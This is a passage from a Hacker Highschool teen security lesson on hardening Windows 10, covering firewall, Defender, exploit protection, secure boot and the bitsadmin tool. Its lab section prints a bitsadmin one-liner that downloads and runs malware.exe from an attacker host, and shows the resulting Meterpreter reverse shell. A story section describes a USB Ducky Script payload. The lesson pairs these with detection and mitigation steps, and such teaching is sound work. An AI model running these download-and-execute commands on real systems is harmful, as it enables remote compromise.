HKLM\SOFTWARE\Wow	6432Node\Microsoft\Active	e Setup\Installed Components				3/19/2019 7:36 PM			
				The second second		1 10 10 10 10 10 10 10			

We will see "putty.exe" is under:

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

There's a batch file called "task.bat" which seems to be the batch file created by the scheduled task.

Note: Press Win + R and type **shell:common startup** to get you to the startup folder.

HH Hacker Highschool SECURITY AWARENESS FOR TEENS

Lesson 14: Defending Windows 10





144 Hacker Highschool

SECURITY AWARENESS FOR TEENS

Go to logon Tab: right-click on the process and click on "Jump to Entry" which will get you the registry Entry and "Jump to Image" will get you the current location of the process.

Autoruns [MSEDGEWIN10\Toshiba] - Sysinternals: www.sysinternals.com

File Entry Options (User Help								
📓 🗈 🔠 🛃 💆 🗙 🛒	Filter:								
🔩 Winsock I	Providers	Print Monitors			😌 LSA Provide	rs	Network Providers		
🖾 Everything	Logon 🛛 🚼 Explorer 🥭	Internet Explorer	🙆 Sche	eduled Tasks	Services	B Drivers	Codecs	Boot Execute	
Autorun Entry	Description	Publisher		Image Path		Timestamp	Virus	Total	
HKLM\SYSTEM\Curre	entControlSet\Control\SafeBoot\Altern	ateShell				9/15/2018 2:04 PM			
cmd.exe	Windows Command Processor	(Verified) Microsoft V	/indows	c:\windows\sy	stem32\cmd.exe	11/21/1975 2:48 AM	0/69		
HKLM\SOFTWARE\M	licrosoft\Windows\CurrentVersion\Ru	n				9/26/2019 6:26 AM			
🗹 🛄 bginfo	BGInfo - Wallpaper text config	(Verified) Microsoft C	orporation	c:\bginfo\bginf	fo.exe	7/30/2013 9:32 AM	0/69		
VMware User P	ro VMware Tools Core Service	(Verified) VMware, In	c.	c:\program file	s\vmware\vmw	2/20/2019 5:37 PM	0/70		
HKCU\SOFTWARE\M	licrosoft\Windows\CurrentVersion\Ru	n				3/19/2019 7:35 PM			
🗹 🐔 OneDrive	Microsoft OneDrive	(Verified) Microsoft C	orporation	c:\users\ieuse	r\appdata\local	9/12/2018 4:27 AM	0/54		
C:\ProgramData\Micro:	soft\Windows\Start Menu\Programs\	Startup				9/22/2019 12:59 PM			
🗹 🛃 putty.exe	SSH Telnet and Riogin client	(Not verified) Simon	Tatham	c:\programdata	a\microsoft\wind	. 7/14/2019 3:33 PM			
✓ 💿 task.bat	Delete	Ctrl+D		c:\programdata	a\microsoft\wind	. 9/23/2019 12:03 AM	Unkn	own	
HKLM\SOFTWARE\	Сору	Ctrl+C				3/19/2019 7:36 PM			
🗹 📄 n/a		soft V	/indows	c:\windows\sy	stem32\rundll32	. 10/4/1914 1:04 PM	0/71		
HKLM\SOFTWARE\	Jump to Entry	ionent	5			3/19/2019 7:36 PM			
🗹 📄 n/a	Jump to Image	osoft V	lindows	c:\windows\sy	swow64\rundll3	4/13/1941 4:07 AM	0/69		
	Verify Image								
	Resubmit to VirusTotal								
	Process Explorer								
	Search Online	Ctrl+M							
	Find	Ctrl+F							
	Properties	Alt+Enter							



The location of the process "putty.exe"



1111 Hacker Highschool

SECURITY AWARENESS FOR TEENS

Step Four - Firewall, Windows Defender and Exploit Protection

We need to setup basic firewall rules which will deny all inbound traffic, allow outbound, logging, update Windows Defender, setup anti-Ransomware configuration, DEP, ASLR and SHO protection in Windows Defender.

Firewall Settings

Windows + R > type 'control'

Control Panel > Windows Defender Firewall > Turn Windows Defender Firewall on or off

Turn on windows defender firewall for both Public and Private Settings and check in both lists:

- Block all incoming connections, including those in the list of allowed apps
- Notify me when Windows Defender Firewall blocks a new app

 Turn Windows Defender Firewall on or off Restore defaults Advanced settings 	Windows Defender Firewall is not using the recommended settings to protect your compute What are the recommended settings?	Use recommended settings
Troubleshoot my network	Private networks	Not connected \odot
	Guest or public networks	Connected 🔗
	Networks in public places such as airports or coffee	shops
	Windows Defender Firewall state:	Off
	Incoming connections:	Block all connections to apps that are not on the list of allowed apps
	Active public networks:	None
	Notification state:	Notify me when Windows Defender Firewall blocks a new app

Customize settings for each type of network

You can modify the firewall settings for each type of network that you use.

Private network settings

- Turn on Windows Defender Firewall

Block all incoming connections, including those in the list of allowed apps

- - Notify me when Windows Defender Firewall blocks a new app
 - Turn off Windows Defender Firewall (not recommended)

Public network settings

- - Turn on Windows Defender Firewall

Block all incoming connections, including those in the list of allowed apps

1111 Hacker Highschool

SECURITY AWARENESS FOR TEENS

Notify me when Windows Defender Firewall blocks a new app

Turn off Windows Defender Firewall (not recommended)

To setup firewall logging settings:



HH Hacker Highschool security AWARENESS FOR TEENS

Lesson 14: Defending Windows 10

V		pfirewall - Notepad -	×
í.	Windows Defender Firewall wi		
	🗱 Inbound Rules		
	K Outbound Rules	2019-00-10 00.21.32 DROF 10/H 122.100.99.31 192.100.99.40 - 04 00 - RECEIVE	~
	L Connection Security Rules	2019-08-16 00:21:34 DROP ICMP 12:168.99.11 92.168.99.40 - 84 8 0 - RECEIVE	
~	Nonitoring	2019-08-16 00:21:35 DROP ICMP 192.168.99.51 192.168.99.40 84 8 0 - RECEIVE	
	Firewall	2019-08-16 00:21:37 DROP ICMP 192.168.99.51 192.168.99.40 84 8 0 - RECEIVE	
	Connection Security P	2019-08-16 00:21:38 DROP ICMP 192.168.99.51 192.168.99.40 84 8 0 - RECEIVE	
		2019-08-16 00:21:49 DROP TCP 192.168.99.51 192.168.99.40 56841 3389 44 S 2524518645 0 1024 RECEIVE	
	Security Associations	2019-08-16 00:21:49 DROP TCP 192:168:99:51 192:168:99:40 56841 445 44 S 2524518645 0 1024 RECEIVE	
	🔄 Main Mode	2019-08-16 00:21:50 DROP TCP 192:168.99.51 192:168.99.40 56842 445 44 5 2524455108 0 1024 RECEIVE	
	Quick Mode	2019-08-16 00:21:50 DROP TCP 192.168.99.51 192.168.99.40 56842 3389 44 5 2524453108 0 1024 RECEIVE	
		2019-08-10 00:21:51 DRUP ICP 192.108.99.51 192.108.99.40 50641 155 44 5 2524518045 0 1024 RECEIVE	
		2010-00-16 00:21:51 DNOF TCF 192:100:99:51 192:100:99:40 10041 135 44 5 2224310043 0 1024 RCCEIVE	
		2010-08-16 00:21:51 DROP TCP 102 168 00 51 102 168 00 40 568/0 135 44 5 2524455108 0 1024 RCCLIVE	
		2010-08-16 00:21:53 DR0P TCP 102 168 05 11 122:100 39:40 56841 16002 44 5 2524531080 5 1024 RECEIVE	
		2019-08-16 00:21:53 DROP TCP 192.168.99.51 192.168.99.40 56842 16992 44 5 252453108 0 1024 RECEIVE	
			~
			>



Lesson 14: Defending Windows 10

Windows Defender


Update the Virus Definition

♡ Virus & threat protection

View threat history, scan for viruses and other threats, specify protection settings, and get protection updates.

S Threat history

Last scan: 8/13/2019 (quick scan)

0 23302 Threats found Files scanned

Scan now

Run a new advanced scan

◦ Virus & threat protection settings

No action needed.

Wirus & threat protection updates Protection definitions are out of date.

Check for updates

Ransomware protection Click to configure

Turn On Ransomware Protection



Creative Commons 3.0 Attribution-Non-Commercial-NoDerivs 2012, ISECOM. www.isecom.org - www.osstmm.org - www.hackerhighschool.org - www.badpeopleproject.org - www.osstmmtraining.org

HH Hacker Highschool SECURITY AWARENESS FOR TEENS

HH Hacker Highschool SECURITY AWARENESS FOR TEENS

Turn On Exploit Protection

App & browser control

- Device security
- ℅ Device performance & health
- A Family options

SmartScreen for Microsoft Store apps

Windows Defender SmartScreen protects your device by checking web content that Microsoft Store apps use.





Privacy statement

Exploit protection

Exploit protection is built into Windows 10 to help protect your device against attacks. Out of the box, your device is already set up with the protection settings that work best for most people.

Exploit protection settings

Learn more

慾 Settings





Turn on all Exploit Protection System settings

Exploit protection

See the Exploit protection settings for your system and programs. You can customize the settings you want.

Turn on all Protection

1111 Hacker Highschool

SECURITY AWARENESS FOR TEENS

System settings Program settings

Data Execution Prevention (DEP)

Prevents code from being run from data-only memory pages.

Use default (On)

This change requires you to restart your device.

Force randomization for images (Mandatory ASLR)

Force relocation of images not compiled with /DYNAMICBASE

Use default (Off)

This change requires you to restart your device.

Randomize memory allocations (Bottom-up ASLR)

Randomize locations for virtual memory allocations.

Use default (On)

This change requires you to restart your device.

High-entropy ASLR

and a la filiar e c

Export settings



Update the Security Patches

Last but not least we update the system with windows security patches. Additionally, we configure the secure boot settings which is to prevent threats like rootkits. Finally, we reduce the privilege level of the current user account and make a local admin account or if on a domain, make a domain account with local administrator privilege.

1111 Hacker Highschool

SECURITY AWARENESS FOR TEENS

Update the windows security patches:

Settings > Update & Security



To setup secure boot:

Settings > Update & Security > Recovery > Restart

HH Hacker Highschool SECURITY AWARENESS FOR TEENS

It will get you some options to choose. Select 'Troubleshoot' on the screen

Choose an option					
\rightarrow	Continue Exit and continue to Windows 10		Turn off your PC		
@ .	Use a device Use a USB drive, network connection, or Windows recovery DVD				
11	Troubleshoot Reset your PC or see advanced options				

Select 'Advance options' on the screen.

E	Trouk	oleshoot
	0	Reset this PC Lets you choose to keep or remove your files, and then reinstalls Windows.
	r	Recovery Manager HP backup and recovery or contact HP support
	ĭ≡	Advanced options



Select 'UEFI Firmware Settings' on the screen



The system will restart and boot to a different BIOS setting. Click on the security tab under the BIOS settings, choose the secure boot and change the secure boot to "**Enabled**" to enable the Secure boot.



Note: This will only available on UEFI supported Motherboards

Reduce Privilege of the current user

Users should not be allowed to have Administrative privilege. Reduce the user's privilege to '**user**', make a new account and add it to the local administrators group. If you have a domain controller, we suggest you make a domain user account and add it to the local administrators group.

Feed Your Head: What Is Bitsadmin

Background Intelligent Transfer Service Admin is a command-line tool that can be used to create, download or upload jobs to HTTP web servers and SMB file shares; set and retrieve the properties of a job; and monitor the status of the jobs. It can handle network interruptions, pausing and automatically resume transfers, even after a reboot. The bitsadmin tool uses switches to identify the work to perform without impacting the user's foreground activities.

1111 Hacker Highschool

SECURITY AWARENESS FOR TEENS

Many of the switches correspond to methods in the BITS interfaces as it used in a background CopyJob as its interface by the time it was released with the Windows XP. BITSAdmin is a pre-installed tool and available on all versions of Windows and Windows Servers. It is most commonly used by both Microsoft and Non-Microsoft applications for fetching / synchronization / uploading files and available to be used in both command-line or PowerShell cmdlet.

For more details of switches:

Download/Copy a file locally.

There are tasks to complete:

Create a download job > Add the file to 'download/copy' to the created job > Activate the download job > Complete the download job.

Create a download job:

Use the '/create' switch to create a download job named hhs.

HH Hacker Highschool SECURITY AWARENESS FOR TEENS

- 🗆 ×

- 🗆 X

bitsadmin /create hhs:

Administrator: C:\Windows\system32\cmd.exe

Lesson 14: Defending Windows 10

C:\Users\HP>bitsadmin /create hhs

BITSADMIN version 3.0 [7.5.7601] BITS administration utility. <C> Copyright 2000-2006 Microsoft Corp.

BITSAdmin is deprecated and is not guaranteed to be available in future versions of Windows. Administrative tools for the BITS service are now provided by BITS PowerShell cm dlets.

Created job (784A435D-0100-46C5-AFC8-1446D74B7518).

C:\Users\HP>_

Note : BITSAdmin returns a GUID that uniquely identifies the job. Use the GUID or job name in subsequent calls.

Add the file to transfer to the download job:

Use the '**/addfile**' switch to add a file to the job. Repeat this call for each file you want to add.

bitsadmin /addfile hhs

https://www.hackerhighschool.org/lessons/HHS_mm1_Being_a_Hacker.v2.pdf c:\hhslesson1.pdf

Administrator: C:\Windows\system32\cmd.exe

C:\Users\HP>bitsadmin /addfile hhs https://hackerhighschool.org/lessons/HHS_mm1_ Being_a_Hacker.v2.pdf C:\hhs-lesson1.pdf

```
BITSADMIN version 3.0 [ 7.5.7601 ]
BITS administration utility.
(C) Copyright 2000-2006 Microsoft Corp.
```

BITSAdmin is deprecated and is not guaranteed to be available in future versions of Windows. Administrative tools for the BITS service are now provided by BITS PowerShell cm dlets.

Added https://hackerhighschool.org/lessons/HHS_mm1_Being_a_Hacker.v2.pdf -> C:\h hs-lesson1.pdf to job.

C:\Users\HP>

Lesson 14: Defending Windows 10

Monitoring Jobs in transfer queue

Before you activate the job use the 'list', '/monitor', or '/info' switches to monitor jobs in the transfer queue. The '/list' switch provides information for all jobs in the queue to check the progress status. bitsadmin /monitor hhs:

144 Hacker Highschool



Activate the Job

When you create a new job, BITS suspends the job. To activate the job in the transfer queue, use the '**/resume**' switch.

bitsadmin /resume hhs:

Select Administrator: C:\Windows\system32\cmd.exe
C:\Users\HP>bitsadmin /resume hhsJob
BITSADMIN version 3.0 [7.5.7601] BITS administration utility. (C) Copyright 2000-2006 Microsoft Corp.
BITSAdmin is deprecated and is not guaranteed to be available in future versions of Windows. Administrative tools for the BITS service are now provided by BITS PowerShell cm dlets.
Job resumed.

Completing the Job

When the state of the job is 'TRANSFERRED' you know BITS has successfully, transferred all files in the job. However, the files are not available until you use the '**/complete**' switch.

1111 Hacker Highschool

SECURITY AWARENESS FOR TEENS

- 0 X

bitsadmin /complete hhs:

Administrator: C:\Windows\system32\cmd.exe

C:\Users\HP>bitsadmin /complete hhs

BITSADMIN version 3.0 [7.5.7601] BITS administration utility. (C) Copyright 2000-2006 Microsoft Corp.

BITSAdmin is deprecated and is not guaranteed to be available in future versions of Windows. Administrative tools for the BITS service are now provided by BITS PowerShell cmdlets.

Job completed.

C:\Users\HP>

One-liner usage

bitsadmin /create hhs | bitsadmin /transfer hhs
https://www.hackerhighschool.org/lessons/HHS_mm1_Being_a_Hacker.v2.pdf
c:\hhs-lesson1.pdf | bitsadmin /resume hackingarticles | bitsadmin
/complete hackingarticles

Download a file using '/transfer' switch.

The /transfer switch is a shortcut for performing the tasks listed below. This switch creates the job, adds the files to the job, activates the job in the transfer queue, and completes the job.

bitsadmin /transfer hhs:

https://www.hackerhighschool.org/lessons/HHS_mm1_Being_a_Hacker.v2.pdf c:\hhs-

	لا	HH Hacker Highsc security awareness for	er Highschool AWARENESS FOR TEENS	
	Lesson 14: Defending Windows 10			
CAC 1				
	lesson1-transfer. pdf			
	Administrator: C:\Windows\system32\cmd.exe DISPLAY: 'hhs' TYPE: DOWNLOAD STATE: TRANSFERRED PRIORITY: NORMAL FILES: 1 / 1 BYTES: 5632013 / 5632013 (100 Unable to complete job - 0x80200002 The requested action is not allowed in the current job stat C:\Users\HP>	_□× ☆) e. The job is read-only. The job may hav		
	Using in Powershell Cmdlet			
	Import-Module BitsTransfer			
	mkdir -torce c:\temp\BIISFILES Start-BitsTransfer-Source			
	<pre>https://www.hackerhighschool.org/lesson .pdf -Destination c:\temp\BITSFILES\Win</pre>	s/HHS_en1_Being_a_Hacker.v2 dowsServer2016.pdf		
	Select Administrator: Windows PowerShell	<u>_ 0 x</u>		
	Mindows PowerShell Copyright (C) 2009 Microsoft Corporation. All rights reserved.	<u> </u>		
	PS C:\Users\HP> Inport-Module BitsTransfer PS C:\Users\HP> mkdir -force C:\bitsfiles			
	Directory: C:\			
	Mode LastWriteTime Length Name			
	d 2/28/2020 9:02 PM bitsfiles			
	PS C:\Users\HP> Start-BitsTransfer -Source https://www.hackerhighschool. nation c:\bitsfiles PS C:\Users\HP>	org/lessons/HHS_en1_Being_a_Hacker.v2.pdf -Desti		
	Abusing bitsadmin.exe			
	There's an interesting bitsadmin switch command that will run when the job finishes t enters a state.	'/ setnotifycmdline ': Sets the transferring data or when a job		
	Here, we are doing a demonstration of h bitsadmin switch.	ow someone can abuse the		

l

The ip address of Attacker's (Kali Linux) box is - 192.168.99.251

The ip address of Victim (windows7) box is - 192.168.99.210

When the victim runs the bitsadmin using **/setnotfycmdline** switch in oneliner: The command will create a job to download the malicious executable from the attacker's box, add the information from where the malware will be downloaded then executed once the download task is done. This causes the victim's box to connect back to the attacker's box using reverse shell connection. So, the attacker will have full shell access to the victim's box.

1111 Hacker Highschool

SECURITY AWARENESS FOR

One-liner usage to run bitsadmin to do all the tasks mentioned above.

bitsadmin.exe /create hhspentest | bitsadmin.exe /addfile hhspentest http://192.168.99.251/malware.exe: c:\malware.exe | bitsadmin.exe /setnotifycmdl line hhspentest cmd.exe "/c bitsadmin.exe /complete hhspentest | timeout 10| start /B c:\malware.exe"

Lastly, we still need to Activate the job.

bitsadmin /resume hhspentest

We can also, make a batch script to run the bitsadmin to download the malware and execute it.

Batch script of bitadmin-abuse.bat

@echo off

echo "abusing bitsadmin"

bitsadmin.exe /reset

timeout 5

rmdir c:\hhspentest

mkdir c:\hhspentest

bitsadmin.exe /create hhspentest | bitsadmin.exe /addfile hhspentest



HH Hacker Highschool SECURITY AWARENESS FOR TEENS

Lesson 14: Defending Windows 10

The victim's box is compromised by the attacker.

[*] Started reverse TCP handler on 192.168.99.251:24731
[*] Sending stage (179779 bytes) to 192.168.99.218
[*] Meterpreter session 3 opened (192.168.99.251:24731 -> 192.168.99.218:49231) at 2020-02-29 03:22:29 +0630

meterpreter > shell
Process 3864 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami whoami sara\starry

C:\Windows\system32>ipconfig | less ipconfig | less 'less' is not recognized as an internal or external command, operable program or batch file.

C:\Windows\system32>ipconfig ipconfig

Windows IP Configuration

Wireless LAN adapter Wireless Network Connection:

Connection-specific DNS Suffix . : lan Link-local IPv6 Address : fe80::6536:1c6a:3c47:ec8f%16 IPv4 Address. : 192.168.99.218 Subnet Mask : 255.255.255.0 Default Gateway : 192.168.99.1

Detection

As BITSAdmin is deployed as a service its status can be checked with the SC Query Utility.

sc query bits BITSAdmin can also be detected using the monitor usage of bitsadmin: bitsadmin /list /allusers /verbose

sc query bits

HH Hacker Highschool SECURITY AWARENESS FOR TEENS



Mitigation

Mitigating the abuse of BITSAdmin:

• Filter network traffic by modifying network and/or host firewall rules, as well as other network controls to only allow legitimate BITS traffic.

1111 Hacker Highschool

SECURITY AWARENESS FOR

- Reduce the default BITS job lifetime in Group Policy or
- Modify the registry by adding the "JobInactivityTimeout" and "MaxDownloadTime" Registry values located at- KEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITS (The default maximum lifetime for a BITS job is 90 days.)
- Limit the access of the BITSAdmin interface to specific users or groups.
- Disabling cmd, powershell and remoteshell access are also the way to prevent the attacks of using the **LotL bin tools** (Living off the Land).

Mitigation Examples of using windows firewall:

When you download a file using BITS, your download is actually done by the svchoss.exe service. Here is just an example of blocking bitsadmin in windows firewall. But you need to DIY to figure out if it's enough. Hint: When BITS downloads a file the actual download is done behind the svchost.exe service.

netsh advfirewall firewall add rule name="bitsadmin"
program=c:\windows\system32\bitsadmin.exe dir=o
ut action=block enable=yes remoteip=10.10.0.0/24 profile=private

Reducing Default BITS Job

Windows key + R and type gpedit.msc in the run: Computer Configuration \ Policies \ Administrative Templates \ Network \ Background Intelligent Transfer Service (BITS)

Timeout for inactive BITS jobs Enabled

Inactive Job Timeout in Day: 1

HH Hacker Highschool security awareness for teens

Lesson 14: Defending Windows 10

File Action View Help				
Computer Configuration	Background Intelligent Transfer Service (BITS)			
Software Settings	Timeout for inactive BITS jobs	Setting	State	
 Windows Settings Windows Settings 	Edit policy setting	A E Do not allow the BITS client to use Windows Branch Cache	Not configured	
A 🖺 Administrative Templates		Do not allow the computer to act as a BITS Peercaching client	Not configured	
Control Panel	Requirements: Windows XP or Windows Server	Do not allow the computer to act as a BITS Peercaching server	Not configured	
Network		Allow BITS Peercaching	Not configured	
Background Intelligent Transfer Servic	2003, or computers with BITS 1.5	Timeout for inactive BITS jobs	Enabled	
BranchCache	installed.	E Limit the maximum network bandwidth for BITS backgroun	Not configured	
DNS Client	Description:	E Limit the maximum network bandwidth used for Peercaching	Not configured	
Lanman Server	This setting specifies the number	Set up a maintenance schedule to limit the maximum netw	Not configured	
Link-Layer Topology Discovery	of days a pending BITS job can	Set up a work schedule to limit the maximum network band	Not configured	
Microsoft Peer-to-Peer Networking S	considered abandoned. By default	E Limit the BITS Peercache size	Not configured	
Network Connections Network Connections	BITS will wait 90 days before	E Limit the age of files in the BITS Peercache	Not configured	
Network Connecting Justo Indicato	considering an inactive job	 Limit the maximum BITS job download time 	Not configured	
Offline Files	determined to be abandoned, the	 Limit the maximum number of files allowed in a BITS job 	Not configured	
OoS Packet Scheduler	job is deleted from BITS and any	Limit the maximum number of BITS jobs for this computer	Not configured	
SNMP *	downloaded files for the job are	• • •		
(Extended Standard /			_



Game On: Summer of Grief – Part 8

Off the bed and on to the almost broken wooden chair, the teen fired up her computer into Windows 10. She created a VM for Parrot and a sandbox just for "USB1" and inserted the device.

Nothing happened.

"Whatever this thing is running it isn't Linux," she thought to herself.

Jace knew the rule of "Always test a USB device on a different operating system". Opening up Explorer, Jace went to the device to look at the contents.

The device was formatted FAT32 with two partitions. The first partition had a inject.bin file, a hex file otherwise known as a "Ducky Script". Commands in Ducky Script are capitalized so it was easy to read what the inject.bin file was supposed to do besides opening up PowerShell in Windows.

It was an old hack, going back years. Back to the days when Windows first started supporting CDROM drives. When you put a CDROM in a Windows computer, the user could have the CD play or autorun whatever was on the CD. Typically, it was music or AOL. The computer didn't care what was on the CD, it just did what it was told.

As criminals learned how to manipulate this autorun Microsoft created ways to secure it. The first step was to no longer allow autorun and instead ask the user what they wanted to do with the inserted media. User Access Control (UAC) was created next to ask the user what they wanted to do when a new device or media was added to a Windows machine. This issue became CVE-2015-1769 or MS15-085, depending on how deep you want to read about it.

The problem was in two spots, the first was PowerShell that could be involved using a simple "powershell Start-Process cmd -Verb runAs" after the USB device was recognized by the computer.

Once a malicious device was plugged into a computer, the attacker would add a delay before any commands to ensure the machine recognized the new device. Which brings up the second problem called "Human Interface Device" or HID.

Computers don't understand trust so they accept whatever they are told to accept. HID is a way for Windows and other operating systems to determine what is being added or taken away from the computer USB ports.

Jace pondered the issue of HID and what the USB stick pretends to be other than the obvious, a keyboard. Keyboards are universally accepted by a computer, just as mice are. A keyboard has a fairly simple job, input keystrokes into the computer. A USB device with a HID of a keyboard would be accepted by the operating system. And so, would run any commands the fake keyboard inserted. USB.org developed the HID Usage Tables (HUT) that are used to identify specific USB devices and their purpose.

1111 Hacker Highschool

SECURITY AWARENESS FOR TEENS

"All they needed was a HID for a generic keyboard and the USB stick would pretend to be a keyboard once the operating system checked the HID against its Mount Manager list," Jace told herself as she bit her lower lip.

Parrot Linux had "vi" in it which Jace used to view the contents of the inject.bin file. "Nothing special here," she said to herself. Typical commands of "GUI r" to open command prompt as admin, a quick string to open up Power Shell as "powershell Start-Process cmd -Verb runAs", a few short commands to make the execution window very small and difficult to notice, "obfuscate the Command Prompt", followed by the commands to execute the payload.

Jace looked closely at the nonexistent payload. It was a DownloadString request for a package from a .onion site, a Tor page followed by an UploadString to another .onion site. Between the two strings were other PowerShell commands that Jace did not understand. But she knew who would understand them.

Before she closed out the VM Parrot terminal, the teen hacker looked at the second FAT 32 partition on the USB device. Two files were in the directory and each was named "n1ghT" and "m33r". Jace opened up n1ghT first and discovered some PII (personal identification information) on Lehua. The next M33r file listed Jace's apartment address, her phone number, her identification code, the school she attended, her blood type, a short history of her hacking accomplishments, and Sweet G's full name.

"Oh we gotta talk, "Jace said aloud in the direction of her grandmother's bedroom. She yanked the USB stick out of the port without even closing the VM or even Windows 10.

Game Over

Conclusion

Capture the Flag is like any other skill-based activity: you need to practice if you expect to get better. The first cake you bake will be terrible. It could be burnt, undercooked, have malware in it, taste like an old shoe, or whatever your worst nightmare would be for a cake. Nothing ever comes out great the first time you do it. We just tell you how great your drawing was in the 1st grade so you don't feel bad and cry. Deep in your heart you know that drawing was terrible but you continued to draw until they took your crayons away in the 9th grade. You do gotta grow up at some point.

1111 Hacker Highschool

SECURITY AWARENESS FOR TEENS

But you also learned that you need to practice to get better, except for that one kid at school who is good at everything (until he joined that heavy metal band). A CTF requires practice to get better. Just like your terrible cake and awful drawing; you get better with time and repetition.

Windows 10 is the most popular operating system in the world. Microsoft is trying hard to please billions of different users who want to do different tasks on their computers. In doing so, they add in lots of configuration options which also add lots of security issues if left alone. In a CTF, nobody is going to leave you alone; they are going to attack you. So, like a bake-off, you must rise to the challenge.

Now go forth and do great things. Bake us proud, errr... Make us proud!

Today's teens are in a world with major communication and productivity channels open to them and they don't have the knowledge to defend themselves against the fraud, identity theft, privacy leaks and other attacks made against them just for using the Internet. This is the reason for Hacker Highschool.

The Hacker Highschool project is the development of security and privacy awareness learning materials for junior high and high school students.

Hacker Highschool is a set of lessons and a practical means of making hackers. Beyond just providing cybersecurity awareness and critical Internet skills, we need to teach the young people of today how to be resourceful, creative, and logical, traits synonymous with hackers. The program contains free security and privacy awareness teaching materials and back-end support for teachers of accredited junior high, high schools, and home schooling. There are multiple workbooks available in multiple languages. These are lessons that challenge teens to be as resourceful as hackers, including safe Internet use, web privacy, researching on the internet, avoiding viruses and Trojans, legalities and ethics, and more.

The HHS program is developed by ISECOM, a non-profit, open-source research group focused on security awareness and professional security development and accreditation.

HH Hacker Highschool security awareness for teens



Creative Commons 3.3 Attribution-Non-Commercial-NoDerivs 2012, ISECOM WWW.ISECOM.ORG - WWW.OSSTMM.ORG - WWW.HACKERHIGHSCHOOL.ORG - WWW.BADPEOPLEPROJECT.ORG - WWW.OSSTMMTRAINING.ORG